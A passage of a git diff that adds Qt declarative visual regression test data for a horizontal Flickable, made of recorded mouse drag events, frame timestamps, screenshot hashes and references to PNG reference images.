+ hash: "77e39d2d4bfcacecdae4f014e4506d71"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 300; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "db576eca8bad67cb8b994f12fc448969"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 288; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "efeb3f616da9d78505c3c82fc34ee31c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 278; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3440
+ hash: "e4f8bb02f8ac6bc40e1801cc8f360078"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3456
+ hash: "82118ef71809e3867717232c4d9c5518"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 252; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3472
+ hash: "5363451c696f6c6eb792b23d086243d7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 238; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "fe6afe8ae8a7c216a1cffc5515f273d5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 227; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3504
+ hash: "9b165741d86c70380c15e15cff3fabb6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3520
+ hash: "f5e176355468f4fa224d4dfcdd7525a3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 222; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "8c5a14a76e052cc6503a3e78245d1da3"
+ }
+ Frame {
+ msec: 3552
+ hash: "8c5a14a76e052cc6503a3e78245d1da3"
+ }
+ Frame {
+ msec: 3568
+ hash: "8c5a14a76e052cc6503a3e78245d1da3"
+ }
+ Frame {
+ msec: 3584
+ hash: "8c5a14a76e052cc6503a3e78245d1da3"
+ }
+ Frame {
+ msec: 3600
+ hash: "8c5a14a76e052cc6503a3e78245d1da3"
+ }
+ Frame {
+ msec: 3616
+ hash: "8c5a14a76e052cc6503a3e78245d1da3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3632
+ hash: "f5e176355468f4fa224d4dfcdd7525a3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 232; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "acf538fce5f1b90b83474d9898b7cdd7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 246; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3664
+ hash: "5a0ee016b8732fbc36064e8a35d91215"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 265; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3680
+ hash: "8fd06a14c1de175813845ce8f07db6ec"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 292; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3696
+ hash: "26b0ff6ffda0725e0800f7ea3af510ef"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 310; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3712
+ hash: "80443f134511be0356a687c9b542b3e7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 321; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3728
+ hash: "3eeb98a829d29b3dc52f3d145ac49d58"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 323; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3744
+ hash: "f4d43069b16f41a30e5549aae911d4cd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 324; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "661c89fa832f0abdcf4ae0c9e8e2d18f"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 324; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "661c89fa832f0abdcf4ae0c9e8e2d18f"
+ }
+ Frame {
+ msec: 3792
+ hash: "1520f54b6c8606b9e8372c5c06180453"
+ }
+ Frame {
+ msec: 3808
+ hash: "0fcf5e2ce47348cbb5bb485f101fe5ac"
+ }
+ Frame {
+ msec: 3824
+ hash: "2eb070e69de07c89830543e0475fc110"
+ }
+ Frame {
+ msec: 3840
+ hash: "d73c1059219c0655968af268d22e2c18"
+ }
+ Frame {
+ msec: 3856
+ image: "flickable-horizontal.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "cc969b2c64839ca6d3b5069c0ed938d0"
+ }
+ Frame {
+ msec: 3888
+ hash: "1f819e18d1297a1c7eeebb7b040bdef8"
+ }
+ Frame {
+ msec: 3904
+ hash: "3643b99afbd8af0953cb39b2c8c04b9f"
+ }
+ Frame {
+ msec: 3920
+ hash: "713fd2e2fa38ab27604cb9cae59f1777"
+ }
+ Frame {
+ msec: 3936
+ hash: "e2508faec7737be2666d87ad715b5f74"
+ }
+ Frame {
+ msec: 3952
+ hash: "fc33b1c7479caeff676ffd885a18d618"
+ }
+ Frame {
+ msec: 3968
+ hash: "aca01143db4f870a56bb7546e84cbc5e"
+ }
+ Frame {
+ msec: 3984
+ hash: "442b58c39fd3745c61a1eb5043fcbb53"
+ }
+ Frame {
+ msec: 4000
+ hash: "7983d7183cc11d6819fa0a006c2d67b4"
+ }
+ Frame {
+ msec: 4016
+ hash: "9fe4e897c6b853f774d11817a0eb53bf"
+ }
+ Frame {
+ msec: 4032
+ hash: "43f528c81ccfa5b9921dfa3564a24c68"
+ }
+ Frame {
+ msec: 4048
+ hash: "dfe04ff0b3ccf205bb38beeab58a4411"
+ }
+ Frame {
+ msec: 4064
+ hash: "32ff30b50b500e9feb51e8eef205783c"
+ }
+ Frame {
+ msec: 4080
+ hash: "7d83ab4c336b05bcf2cde4e7d8031f6c"
+ }
+ Frame {
+ msec: 4096
+ hash: "c92e345e4ffdb30c28d9d5aa5400bd30"
+ }
+ Frame {
+ msec: 4112
+ hash: "02eec604d0c00965aae4ac61b91bdc22"
+ }
+ Frame {
+ msec: 4128
+ hash: "df447575a4734bb5bd9badc6e27d98e4"
+ }
+ Frame {
+ msec: 4144
+ hash: "bac10d8f94a39573313b3b8b2f871c49"
+ }
+ Frame {
+ msec: 4160
+ hash: "e5944c5dc6dec8f0c28b7ec3cd58723d"
+ }
+ Frame {
+ msec: 4176
+ hash: "1991cbb0fb053937f922731d5716032c"
+ }
+ Frame {
+ msec: 4192
+ hash: "50d6538bcaffc343f6626635a3e5899c"
+ }
+ Frame {
+ msec: 4208
+ hash: "f3613f57cdb9ed38d8e3fa636962aa99"
+ }
+ Frame {
+ msec: 4224
+ hash: "10a89da9887cb4bbd812c090a8a56797"
+ }
+ Frame {
+ msec: 4240
+ hash: "89ba74d46970ad2edff701475c059ec8"
+ }
+ Frame {
+ msec: 4256
+ hash: "6e8b84c70e81578a2216e9e975b35434"
+ }
+ Frame {
+ msec: 4272
+ hash: "6e8b84c70e81578a2216e9e975b35434"
+ }
+ Frame {
+ msec: 4288
+ hash: "883b8b180853f1f432ae98ddfe1b6ce3"
+ }
+ Frame {
+ msec: 4304
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4320
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4336
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4352
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4368
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4384
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4400
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4416
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4432
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4448
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4464
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4480
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4496
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4512
+ hash: "e616110d39009f0d636b816828cc0ccb"
+ }
+ Frame {
+ msec: 4528
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4544
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4560
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4576
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4592
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4608
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4624
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4640
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4656
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4672
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4688
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+ Frame {
+ msec: 4704
+ hash: "244c12e82ee0b2528a0dbb02a8b8134a"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.png
new file mode 100644
index 00000000..968a78f7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.png
new file mode 100644
index 00000000..55ab3b71
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.png
new file mode 100644
index 00000000..a6ec6d18
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.png
new file mode 100644
index 00000000..e6755aca
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.4.png
new file mode 100644
index 00000000..4c4d17c9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml
new file mode 100644
index 00000000..106d108a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-horizontal.qml
@@ -0,0 +1,1575 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickable-horizontal.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 48
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 64
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 80
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 96
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 112
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 128
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 144
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 160
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 176
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 192
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 208
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 224
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 240
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 256
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 272
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 288
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 304
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 320
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 336
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 352
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 368
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 384
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 400
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 416
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 432
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 448
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 464
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 480
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 496
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 512
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 528
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 544
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 560
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 576
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 592
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 608
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 624
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 640
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 656
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 672
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 688
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 704
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 720
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 447; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 736
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 752
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 768
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 446; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 784
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 440; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 800
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 425; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 407; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 816
+ hash: "49372aa66b86904d587b72c6c2cfd467"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 359; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 832
+ hash: "06519aabcc86c5fd961c80a65d2cf67c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 309; y: 181
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 848
+ hash: "c3b182c37393ea0468c06474e84f127f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 282; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 282; y: 187
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 864
+ hash: "dce4bcca20e89c40a603394515f679b1"
+ }
+ Frame {
+ msec: 880
+ hash: "dabf2b63bedd0073f761a858f048df5a"
+ }
+ Frame {
+ msec: 896
+ hash: "c51ca7786b7346b3e62b774c01a67f98"
+ }
+ Frame {
+ msec: 912
+ hash: "d1628aa2fd1ec92021fa37f9960fb06a"
+ }
+ Frame {
+ msec: 928
+ hash: "4e571776c8a01d1ab79ff1c3affc0474"
+ }
+ Frame {
+ msec: 944
+ hash: "85a3c22ecaed87c119202b76e22f2b2e"
+ }
+ Frame {
+ msec: 960
+ hash: "42d345e97b0a8e5cbcfdf4243ccafcdc"
+ }
+ Frame {
+ msec: 976
+ image: "flickable-horizontal.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "1a651405076d8980b03cc8279a379fff"
+ }
+ Frame {
+ msec: 1008
+ hash: "8c4f3c6a4c67c76fe92ff401114892e7"
+ }
+ Frame {
+ msec: 1024
+ hash: "447a817e33cd8213e362192ffe663272"
+ }
+ Frame {
+ msec: 1040
+ hash: "eed6ba9be5f7869101068afd1d46cb69"
+ }
+ Frame {
+ msec: 1056
+ hash: "15ae5acff4211f97802c6c50649ad487"
+ }
+ Frame {
+ msec: 1072
+ hash: "e30b0a23e215c0b9b71b083381a8523e"
+ }
+ Frame {
+ msec: 1088
+ hash: "6fad48a7d3a2480468aca07e6760de94"
+ }
+ Frame {
+ msec: 1104
+ hash: "998bd191ac5bac1f300e247514a112d7"
+ }
+ Frame {
+ msec: 1120
+ hash: "9245e8bf2fb38f491aa7f0da4400e190"
+ }
+ Frame {
+ msec: 1136
+ hash: "7565ea1f01cd9ad5d92e2a0ee7fc947d"
+ }
+ Frame {
+ msec: 1152
+ hash: "898c6e226787391340099910ee128ed6"
+ }
+ Frame {
+ msec: 1168
+ hash: "bafd74d70e99cf4053d3c00d18915762"
+ }
+ Frame {
+ msec: 1184
+ hash: "6456a5ca9bb90b2d0fb99bae63a8db35"
+ }
+ Frame {
+ msec: 1200
+ hash: "2b34216c9f7c76133ef4889b74df7ad9"
+ }
+ Frame {
+ msec: 1216
+ hash: "cbc75068017b378f277c2692f2cb1709"
+ }
+ Frame {
+ msec: 1232
+ hash: "8c72d80a5a2776ee2d805c089f5c534d"
+ }
+ Frame {
+ msec: 1248
+ hash: "d5a248b9177e078cad40af72b3cbceb5"
+ }
+ Frame {
+ msec: 1264
+ hash: "1a9b246f8223bbcf6421a22e8a1fb50e"
+ }
+ Frame {
+ msec: 1280
+ hash: "ea9b292eb000a9e4c5b46a8d94b8e80e"
+ }
+ Frame {
+ msec: 1296
+ hash: "ac059cd45cd1936a7ff3fd0fc9fa688b"
+ }
+ Frame {
+ msec: 1312
+ hash: "fda383d47ffb1e2fd633793594831cfb"
+ }
+ Frame {
+ msec: 1328
+ hash: "a4c7709f3642088e4be48ec607d0a0fe"
+ }
+ Frame {
+ msec: 1344
+ hash: "08d0268402d4a410f5f8c9bb8ba7b306"
+ }
+ Frame {
+ msec: 1360
+ hash: "ecc8f3c4faf86362e45b465b0f4d6dc2"
+ }
+ Frame {
+ msec: 1376
+ hash: "3107a4b522744a643dd107da5e5e13c2"
+ }
+ Frame {
+ msec: 1392
+ hash: "44c1731d0433aac53edc2e88a38c66b0"
+ }
+ Frame {
+ msec: 1408
+ hash: "d86e9dfb38be51b2fa9cf44271eddc3e"
+ }
+ Frame {
+ msec: 1424
+ hash: "0c33ce00df6fbb848d300aa510ad80d9"
+ }
+ Frame {
+ msec: 1440
+ hash: "48ff92aaa0c797c10ca8dbc5b2240736"
+ }
+ Frame {
+ msec: 1456
+ hash: "8582fd8c3643d9a5c1993e1607c6fae8"
+ }
+ Frame {
+ msec: 1472
+ hash: "2390e374160ec5bc99613a463aa98fb2"
+ }
+ Frame {
+ msec: 1488
+ hash: "369a11c32596b668a4f275232c45ac68"
+ }
+ Frame {
+ msec: 1504
+ hash: "0b0d82d523a77a925ee00cf457326034"
+ }
+ Frame {
+ msec: 1520
+ hash: "48e7a92905761d7f0b8b9ac95bb5ff45"
+ }
+ Frame {
+ msec: 1536
+ hash: "2cdccfd2cdf56728fa07a49de34142d9"
+ }
+ Frame {
+ msec: 1552
+ hash: "83a8166805523ee8426d88ef80c8f3a9"
+ }
+ Frame {
+ msec: 1568
+ hash: "20ac2e68a5c733dc6128921c34f033e5"
+ }
+ Frame {
+ msec: 1584
+ hash: "836963a1ed3084606b80b7f82fee09ef"
+ }
+ Frame {
+ msec: 1600
+ hash: "ee49c684d788558e20a10899ebe0b6c2"
+ }
+ Frame {
+ msec: 1616
+ hash: "e00c0b340165d335cb49730890eca301"
+ }
+ Frame {
+ msec: 1632
+ hash: "fba2c2adeef04e6c1a764c4d8a1a97bc"
+ }
+ Frame {
+ msec: 1648
+ hash: "8160bd2a6daa2757b948d038fa754c77"
+ }
+ Frame {
+ msec: 1664
+ hash: "10130d0b75ce420f5c9af6f181500783"
+ }
+ Frame {
+ msec: 1680
+ hash: "10130d0b75ce420f5c9af6f181500783"
+ }
+ Frame {
+ msec: 1696
+ hash: "fba2c2adeef04e6c1a764c4d8a1a97bc"
+ }
+ Frame {
+ msec: 1712
+ hash: "fec5477699ba60da129866e1c3727e08"
+ }
+ Frame {
+ msec: 1728
+ hash: "12076b96a177bd24be8ad4a3dc179d79"
+ }
+ Frame {
+ msec: 1744
+ hash: "83a8166805523ee8426d88ef80c8f3a9"
+ }
+ Frame {
+ msec: 1760
+ hash: "e9016d43624060ef4efbad2b7bc53b1b"
+ }
+ Frame {
+ msec: 1776
+ hash: "483700c4ba07a9f01d2a226a3efde15f"
+ }
+ Frame {
+ msec: 1792
+ hash: "2390e374160ec5bc99613a463aa98fb2"
+ }
+ Frame {
+ msec: 1808
+ hash: "094df49593f0cd1d6de4a0b91c459d15"
+ }
+ Frame {
+ msec: 1824
+ hash: "0a60ed609c7fcb2d485f393ea309527a"
+ }
+ Frame {
+ msec: 1840
+ hash: "d4e0f07c2f298626ae800d5d7b5f098b"
+ }
+ Frame {
+ msec: 1856
+ hash: "ff249c1301704da0b82b023558512c6a"
+ }
+ Frame {
+ msec: 1872
+ hash: "42883458efeb17ff1e52296ae7228fb2"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 91; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 93; y: 209
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1888
+ hash: "42883458efeb17ff1e52296ae7228fb2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 99; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "36a4b0d745ee8fa53e906b7a23b7ab88"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 142; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1920
+ hash: "826187b1a24fd09e1abcb6a01c59c059"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 216
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1936
+ image: "flickable-horizontal.2.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 229; y: 218
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 220
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1952
+ hash: "426f9459ac16c2903f85d618b366a475"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 322; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 322; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1968
+ hash: "d43dc1cfeaac1da281f2cdbffda93d17"
+ }
+ Frame {
+ msec: 1984
+ hash: "766dd54cdb6253ead664b6ab852e934b"
+ }
+ Frame {
+ msec: 2000
+ hash: "1db59868779a357917a5d4859130108e"
+ }
+ Frame {
+ msec: 2016
+ hash: "1da33a5f6a001915464f34799a651f7a"
+ }
+ Frame {
+ msec: 2032
+ hash: "868a6e445623378b6590789156e4b7e0"
+ }
+ Frame {
+ msec: 2048
+ hash: "46ae42a4b7f00e24a10ffdfd7a076b68"
+ }
+ Frame {
+ msec: 2064
+ hash: "2a91ffdfec461f573784cfaed2150e33"
+ }
+ Frame {
+ msec: 2080
+ hash: "2cbaa11e8589c806e65e52ce59ad1c42"
+ }
+ Frame {
+ msec: 2096
+ hash: "3b93b1e1fa7963d5a75103814f93a0a2"
+ }
+ Frame {
+ msec: 2112
+ hash: "a2e59dc9459a7afb6916638d08330dff"
+ }
+ Frame {
+ msec: 2128
+ hash: "cb3e8334babe3abffa202c2ba2d3b21f"
+ }
+ Frame {
+ msec: 2144
+ hash: "07882f5f098e59c479f089dbc74612bf"
+ }
+ Frame {
+ msec: 2160
+ hash: "e9ad84bf0c7f83bfe1bff3afed591bfd"
+ }
+ Frame {
+ msec: 2176
+ hash: "1839c26fda8710dc3fa7f5abd8136eee"
+ }
+ Frame {
+ msec: 2192
+ hash: "15e3bdd811c390ad3a9cf22949568ed7"
+ }
+ Frame {
+ msec: 2208
+ hash: "61ede9a7ef29997627bb08070fea65a4"
+ }
+ Frame {
+ msec: 2224
+ hash: "fac89040e757522117e3792625ca6a19"
+ }
+ Frame {
+ msec: 2240
+ hash: "1dc01a1118681f8606768fcf246397f7"
+ }
+ Frame {
+ msec: 2256
+ hash: "2b243094b7f25368a8fb4a9014968cad"
+ }
+ Frame {
+ msec: 2272
+ hash: "c6677acf9b9d632bc99caa8626448c49"
+ }
+ Frame {
+ msec: 2288
+ hash: "9035988b0dc0b7065fe4f1d1a4737801"
+ }
+ Frame {
+ msec: 2304
+ hash: "cd34e7118d43968cfcf52ed9ce58fc0a"
+ }
+ Frame {
+ msec: 2320
+ hash: "7142aeaed61722424e184c55bb8d047c"
+ }
+ Frame {
+ msec: 2336
+ hash: "9113c68cf5689e1f4690e58bbf824ae6"
+ }
+ Frame {
+ msec: 2352
+ hash: "2f9ec963d6f06f8252a69760965df2ee"
+ }
+ Frame {
+ msec: 2368
+ hash: "07373282f0337437944dc8fff1e32343"
+ }
+ Frame {
+ msec: 2384
+ hash: "4769fa4ba0c08baefa431b94b47a7ffc"
+ }
+ Frame {
+ msec: 2400
+ hash: "390cd7786aa1989b590033682472f604"
+ }
+ Frame {
+ msec: 2416
+ hash: "482e2969bc1a877ba63c3df65ec04b7e"
+ }
+ Frame {
+ msec: 2432
